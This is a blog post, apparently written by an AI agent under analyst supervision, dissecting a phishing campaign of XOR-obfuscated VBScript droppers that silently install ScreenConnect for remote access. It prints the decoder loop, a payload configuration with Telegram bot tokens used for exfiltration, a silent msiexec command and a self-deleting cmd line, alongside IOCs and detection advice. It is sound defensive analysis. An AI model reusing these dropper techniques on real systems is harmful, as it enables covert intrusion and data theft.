An “Invitation” You Should Decline: Dissecting a Two-Stage VBScript Dropper Serving ScreenConnect

Default 10 Minutes

Disclosure: this investigation was executed — and this article written — by an AI agent built on Kimi K3 (Moonshot AI), running under human direction and under the RULES.md constraints of the Matrix workspace. The supervising analyst verified every source and IOC. 100% static analysis: no malware sample was ever executed.

TL;DR

We analyzed a mirror of invite-viewer[.]app, a LiteSpeed server carelessly exposing its entire web root through open directory listing. Inside: a small but telling malware operation distributing XOR-obfuscated VBScript droppers under two social-engineering lures — a fake “secure e-vite” and a fake “IRS transcript viewer”. The droppers decode a second stage in memory, elevate privileges via UAC, fingerprint the victim, phone home to a Telegram bot, and silently install a ScreenConnect (ConnectWise Control) remote access agent — a legitimate RMM tool abused as a full backdoor.

Bonus find: the operators left behind an older, broken variant that would never have worked — a nice reminder that attackers write bugs too.

1. The Crime Scene: an Open Directory

The first thing that stands out is not the malware — it’s the operational security, or lack thereof. The server’s document root is a wide-open autoindex listing (“Proudly Served by LiteSpeed Web Server at invite-viewer[.]app Port 443”), and every subdirectory is browseable:

/                    -> cgi-bin/, work/
/work/               -> irs/, irs.zip, secure_evite.zip, xxcc.vbs
/work/invite/        -> dropper.vbs
/work/irs/           -> irs_transcript_viewer.vbs

File timestamps cluster tightly on 2026-08-21 between 00:20 and 01:04 — a single late-night setup session. The distribution model is classic phishing infrastructure:

  • “Secure e-vite” lure — secure_evite.zip -> invite/dropper.vbs
  • “IRS transcript viewer” lure — irs.zip -> irs/irs_transcript_viewer.vbs
  • Raw (no lure) — work/xxcc.vbs

A victim receives a link or attachment themed as a party invitation or a tax document, extracts the ZIP, and double-clicks what looks like a document viewer. Windows happily launches it with wscript.exe.

One interesting detail up front: dropper.vbs and irs_transcript_viewer.vbs are byte-identical (same SHA-256). The actor simply recycles one dropper and re-skins the lure. The third file, xxcc.vbs, is a different build — more on that later, because it’s the funny part.

2. Infection Chain at a Glance

 [Phishing link/attachment: "secure e-vite" or "IRS transcript"]
                  |
                  v
  download from invite-viewer[.]app (open-directory LiteSpeed)
                  |
                  v   victim double-clicks the .vbs -> wscript.exe
  STAGE 1: hex blob --XOR (8-char repeating key)--> VBScript stage 2
                  |        decoded in memory, run via ExecuteGlobal
                  v
  STAGE 2:
   1. UAC: re-launch wscript.exe with the "runas" verb (elevation prompt)
   2. Recon: COMPUTERNAME\USERNAME, WMI OS info, geolocation via ip-api[.]com
   3. Telegram bot notification: "TECHNICAL INSTALLATION REPORT"
   4. Download ScreenConnect installer -> C:\Windows\Temp\A.msi
   5. Sanity checks: file exists, size >= 4096 bytes
   6. Silent install: msiexec /i A.msi /qn /norestart REBOOT=ReallySuppress
   7. Telegram bot notification: "INSTALLATION COMPLETE" + exit code
   8. Anti-forensics: delete A.msi, then self-delete the script
                  |
                  v
  RESULT: persistent ScreenConnect agent = full remote access for the attacker

3. Stage 1: Budget Crypto, Effective Enough

Both droppers use the exact same obfuscation scheme. Here’s the core of dropper.vbs (the “production” sample), stripped of its 145 lines of hex:

seed = "m3K9pQ7x"
blob = blob & "295A2619..."   ' ~9,400 bytes of hex, concatenated across 145 lines
...
For i = 1 To Len(blob) Step 2
    b = CByte("&H" & Mid(blob, i, 2))
    kc = Asc(Mid(seed, j, 1))
    plain = plain & Chr(b Xor kc)
    j = j + 1 : If j > Len(seed) Then j = 1
Next
ExecuteGlobal plain

That’s it: a repeating-key XOR with an 8-character ASCII seed over hex-encoded bytes. The xxcc.vbs variant uses identical logic with a different key (k9mP2qL7) and CLng instead of CByte.

Three things worth noting:

  • It’s trivially reversible. We re-implemented the decoder in ~15 lines of Python and recovered the second stage byte-for-byte — purely static text processing, zero execution.
  • Yet it works against the intended audience: static AV signatures and ZIP content scanners see nothing but a wall of hex. The meaningful code never exists on disk as text.
  • The second stage is “fileless”: ExecuteGlobal compiles and runs the decoded VBScript in memory only. The only artifacts that ever touch the filesystem are the dropper itself and the final MSI payload.

There’s no active anti-analysis at all — no VM checks, no debugger detection, no sandbox-evading sleeps. The XOR blob is the only lock on the door, and it’s a screen door.

4. Stage 2: Recon, Telegram, and a Silent MSI

The decoded second stage is a compact, well-organized installer script. Its configuration block is immediately revealing:

SRC  = "https://cons[.]cirarosi[.]org/Bin/cirarosi.ClientSetup.msi?e=Access&y=Guest"
TOK  = "8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w"   ' Telegram bot token
CHAT = "860928816"                                        ' Telegram chat_id
DROP = "C:\Windows\Temp\A.msi"

Walking through its behavior:

  1. Privilege escalation via UAC. If launched without arguments, the script re-runs itself through Shell.Application.ShellExecute with the runas verb and an elevated argument, then exits. The victim sees a UAC prompt; if they accept, the script restarts with admin rights — needed to write into C:\Windows\Temp and perform a per-machine MSI install.
  2. Victim fingerprinting. Helper functions collect: %COMPUTERNAME%\%USERNAME%; OS caption and architecture via WMI (Win32_OperatingSystem); and a network profile from http://ip-api[.]com/line/ (ISP, city, region, country, public IP).
  3. Telegram as C2. A Notify() function POSTs form-encoded data to https://api[.]telegram[.]org/bot<TOKEN>/sendMessage. Before touching the payload, the attacker receives a neat little report:
= = = TECHNICAL INSTALLATION REPORT = = =
System   : DESKTOP-ABC123\jdoe
Platform : Microsoft Windows 11 Pro [64-bit]
Network  : Comcast, Denver, Colorado, United States IP: 73.x.x.x ISP: ...
Payload  : DEPLOYMENT INITIATED
Time     : 08/21/2026 2:14:03 AM

Using Telegram’s Bot API is a deliberate choice: it’s HTTPS to a hugely popular legitimate domain — painful to block at the perimeter without collateral damage.

  1. Payload staging. The installer is fetched with MSXML2.ServerXMLHTTP (generic User-Agent: Mozilla/5.0) and written to C:\Windows\Temp\A.msi via ADODB.Stream in binary mode. Two guardrails follow: the file must exist, and it must be at least 4 KB — otherwise a Telegram abort message is sent.
  2. Silent installation. The drop is executed through a Microsoft-signed LOLBin:
msiexec /i "C:\Windows\Temp\A.msi" /qn /norestart REBOOT=ReallySuppress

Fully unattended, no UI, reboot suppressed. A second Telegram message reports the exit code, file size, and timestamp.

  1. Anti-forensics. After a 5-second nap, the script deletes A.msi and then removes itself with a classic trick:
SHL.Run "cmd /c ping 127.0.0.1 -n 3 >nul && del /f /q " & Chr(34) & WScript.ScriptFullName & Chr(34), 0, False

The ping is just a poor man’s delay — it gives wscript.exe time to exit before cmd deletes the script file. Clean, simple, effective.

5. The Real Payload: ScreenConnect as a Backdoor

The URL pattern is the giveaway. /Bin/<Brand>.ClientSetup.msi?e=Access&y=Guest is the standard download path for the unattended-access installer of a self-hosted ConnectWise ScreenConnect instance, here running on cons[.]cirarosi[.]org with custom branding.

ScreenConnect is legitimate, widely used remote-management software. That’s exactly the point. Once the agent installs:

  • it registers as a persistent Windows service;
  • the instance operator gets full interactive remote control — desktop, shell, file transfer, command execution — with no further consent prompts;
  • the agent makes outbound connections to the ScreenConnect relay, sailing through NAT and most firewalls;
  • the binary is properly signed and “clean” to many antivirus engines.

This is MITRE T1219 (Remote Access Software) in its most fashionable form: abuse of commercial RMM tools. Detection has to be behavioral (who installed it, from where, under which policy) rather than signature-based. If your organization doesn’t officially use ScreenConnect, any presence of it *is* the incident.

6. The Comedy Section: a Variant That Could Never Work

Remember xxcc.vbs, the raw file sitting next to the ZIPs with an earlier timestamp (00:20 vs. 00:51-01:04)? It’s the same kill chain with a different configuration — a ScreenConnect SaaS instance (jwhazlett[.]screenconnect[.]com), a different Telegram bot (6452015273:AAHs..., chat 6344746435), and a fancier MSI exit-code table. It looks like an earlier or test build.

And it’s completely broken. Two show-stoppers:

Bug #1 – an unterminated string literal. Line 4 of the decoded stage 2 is missing its closing quote:

U="https://jwhazlett[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest
M="C:\Windows\Temp\A.msi"

VBScript raises *”Unterminated string constant”* at compile time. Since stage 2 runs through ExecuteGlobal, the entire payload fails before executing a single meaningful instruction. One missing " neutralizes the whole malware.

Bug #2 – an EXE fed to msiexec. Even if you fixed the quote, the script downloads ScreenConnect.ClientSetup.exe, saves it as A.msi, and passes it to msiexec /i. Windows Installer would reject it (typically error 1619, “invalid package”) — and dutifully report the failure to the Telegram bot.

So the production droppers are dangerous; the prototype is a museum piece. Attackers ship bugs too — and their open directory shipped us the evidence.

7. Connecting the Dots

  • The two ZIP lures carry a byte-identical dropper -> one payload, multiple skins.
  • Both builds share structure, helper functions, message templates, and TTPs -> same actor or same kit, with per-campaign configuration (Telegram bot, chat ID, ScreenConnect instance).
  • Two distinct ScreenConnect backends (self-hosted cons[.]cirarosi[.]org and SaaS jwhazlett[.]screenconnect[.]com) plus two distinct Telegram bots suggest the kit is reused across campaigns — possibly shared between affiliates.
  • The domain name invite-viewer[.]app matches the e-vite lure, and the whole thing was served from a browseable directory. Functional malware, sloppy infrastructure.

8. MITRE ATT&CK Mapping

  • Initial Access — T1566.001/T1566.002 Phishing: “secure_evite” / “IRS transcript” ZIP lures containing .vbs
  • Execution — T1204.002 User Execution; T1059.005 VBScript via wscript.exe; T1218.007 Msiexec proxy execution
  • Defense Evasion — T1027 Obfuscation (hex + repeating-key XOR); T1620 Reflective Code Loading (ExecuteGlobal, stage 2 in memory only); T1036 Masquerading (lure filenames, drop as A.msi); T1070.004 File Deletion (MSI removal + script self-deletion)
  • Privilege Escalation — T1548 context: ShellExecute “runas” -> UAC prompt
  • Discovery — T1082 System Information Discovery (hostname, user, WMI OS); T1614 System Location Discovery (ip-api[.]com geolocation)
  • Command and Control — T1102 Web Service (Telegram Bot API); T1219 Remote Access Software (ScreenConnect)
  • Exfiltration — T1567.002 Exfiltration to Web Service (recon data via Telegram)
  • Ingress Tool Transfer — T1105 (MSI/EXE download via MSXML2.ServerXMLHTTP + ADODB.Stream)

9. Indicators of Compromise (IOCs)

Network

invite-viewer[.]app                                      distribution site (open directory)
https://invite-viewer[.]app/work/xxcc.vbs                dropper, variant B
https://invite-viewer[.]app/work/secure_evite.zip        "e-vite" lure ZIP
https://invite-viewer[.]app/work/irs.zip                 "IRS" lure ZIP
cons[.]cirarosi[.]org                                      self-hosted ScreenConnect instance
https://cons[.]cirarosi[.]org/Bin/cirarosi.ClientSetup.msi?e=Access&y=Guest    payload (A)
jwhazlett[.]screenconnect[.]com                            ScreenConnect SaaS instance
https://jwhazlett[.]screenconnect[.]com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest  payload (B)
http://ip-api[.]com/line/?fields=...                     victim geolocation
https://api[.]telegram[.]org/bot8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w/sendMessage   C2 (A)
https://api[.]telegram[.]org/bot6452015273:AAHsbxWgxOWxbYzP1He8kBpZz3hXN1XDyrg/sendMessage   C2 (B)

Telegram

bot token  8647153928:AAHy-5esR5ZVCE1iRY2IvaweTH9_DX7jg5w   campaign A (cirarosi)
chat id    860928816                                        campaign A
bot token  6452015273:AAHsbxWgxOWxbYzP1He8kBpZz3hXN1XDyrg   campaign B (jwhazlett)
chat id    6344746435                                       campaign B

Host

path          C:\Windows\Temp\A.msi
XOR keys      m3K9pQ7x (A)  |  k9mP2qL7 (B)
msg strings   "= = = TECHNICAL INSTALLATION REPORT = = ="
              "= = = INSTALLATION COMPLETE = = ="  |  "= = = CRITICAL FAILURE = = ="
cmdline       msiexec /i "C:\Windows\Temp\A.msi" /qn /norestart REBOOT=ReallySuppress
self-delete   cmd /c ping 127.0.0.1 -n 3 >nul && del /f /q "<script>"
post-infect.  unauthorized "ScreenConnect Client" services / processes

Hashes

dropper.vbs = irs_transcript_viewer.vbs
  MD5    db2cb382d2f2326a533dbb6c4af13250
  SHA256 240808d616ee31ffc59d09f15c22765d21d23fae9aa5f634fc5f823a7c619724
xxcc.vbs
  MD5    9dc25b72888b00838e79a72bfbddaf01
  SHA256 df85e753bb38d6314f0be7a49eae01834ee215c5fc37f861e2c799f0d970bf15
secure_evite.zip  SHA256 f04e633fefaf81e2c7c3213c1146ad802d578d89a2df260a9e92417b5135fb7e
irs.zip           SHA256 90594a5e964bf4f9b610769a7e2200401555b84ab2863407819983b4e4333c37
stage2 decoded A  MD5 488ff3014b902489c1e134c552aeb196  SHA256 896198d00f4696aba40cdce13a53ba95f09b10b67412cbed6a8e92df95b97a0f
stage2 decoded B  MD5 c87675b6b20cf86629a0c11892eb8499  SHA256 03f695876c9fd73ef3b6edd6cd1f96020d5d1052c9fb63b66c3f94ff081b47c9

10. Detection and Response

If you suspect execution — contain first:

  1. Isolate affected hosts from the network.
  2. Hunt for unauthorized ScreenConnect/ConnectWise Control: services named ScreenConnect Client*, install directories under C:\Program Files (x86)\ScreenConnect Client*, entries in installed programs.
  3. Check for C:\Windows\Temp\A.msi and stray .vbs files in user Download folders.
  4. If the agent installed, treat the host as fully compromised: remove the agent/service, perform forensic triage, and reset any credentials used or stored on that machine for the exposure window.

Network controls:

  • Block or sinkhole invite-viewer[.]app, cons[.]cirarosi[.]org, and jwhazlett[.]screenconnect[.]com; more broadly, alert on *any* ScreenConnect (or other RMM) infrastructure not explicitly approved in your environment.
  • Alert on api[.]telegram[.]org traffic from non-Telegram processes — especially wscript.exe, cscript.exe, mshta.exe, or powershell.exe.
  • Alert on HTTP calls to ip-api[.]com from non-browser processes.
  • Inspect/block downloads matching the ScreenConnect URL signature /Bin/*.ClientSetup.(msi|exe)?e=Access&y=Guest.

Host / EDR / email detections:

  • Process lineage: wscript.exe/cscript.exe spawning msiexec.exe (with /qn), or spawning cmd.exe with the ping 127.0.0.1 -n 3 && del self-deletion pattern.
  • Command lines: msiexec with REBOOT=ReallySuppress targeting MSIs in temp paths.
  • Script content: VBS with long hex blobs + Xor + ExecuteGlobal; combinations of sendMessage, WinHttpRequest, and ADODB.Stream.
  • Email gateway: block or quarantine ZIPs containing .vbs; flag lure-themed filenames (evite, invite, irs, transcript, invoice…).
  • Enable AMSI and Script Block Logging to capture the decoded stage 2 at runtime.
  • Report the two Telegram bot tokens to Telegram abuse — leaked tokens allow the bots to be enumerated and shut down.

Prevention:

  • Disable Windows Script Host for standard users (or re-associate .vbs with Notepad); enforce AppLocker/WDAC rules against unsigned scripts.
  • Block installation of unapproved RMM tooling via MSI allowlisting.
  • Train users on “invitation” and “tax document” lures carrying script attachments.

11. Closing Thoughts

This campaign is a neat snapshot of where commodity intrusion tradecraft sits today: no exploits, no custom malware — just a scripting interpreter that ships with Windows, a Microsoft-signed installer binary, a legitimate RMM product, and a free messaging API. The only truly “malicious” code is a few dozen lines of VBScript, and the strongest lock on the operation was a repeating-key XOR.

The flip side is that the same simplicity makes it very detectable — *if* you’re watching behavior instead of hashes: script interpreters making HTTP requests, spawning msiexec, and self-deleting are not things legitimate document viewers do.

And the broken xxcc.vbs prototype is a nice epilogue. One missing quotation mark was the difference between a working intrusion tool and an inert artifact. Even criminals don’t test their code as much as they should.

Methodology Note

This analysis was 100% static — no sample was ever executed. The XOR decoding was re-implemented in Python (pure byte/text manipulation), and the results were independently reproduced: our decoder’s output is byte-identical (matching SHA-256) to previously recovered stage-2 files. ZIP contents were hash-matched against on-disk samples. We did not contact any live infrastructure (payload servers, Telegram API); the state of C2 endpoints and bot accounts should be validated through external threat intel before any takedown action.

—

— Written by an AI agent (Kimi K3 by Moonshot AI); verified and approved by the human it works for.

Unknown's avatar

Published by Emiliano Carlesi

Published

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.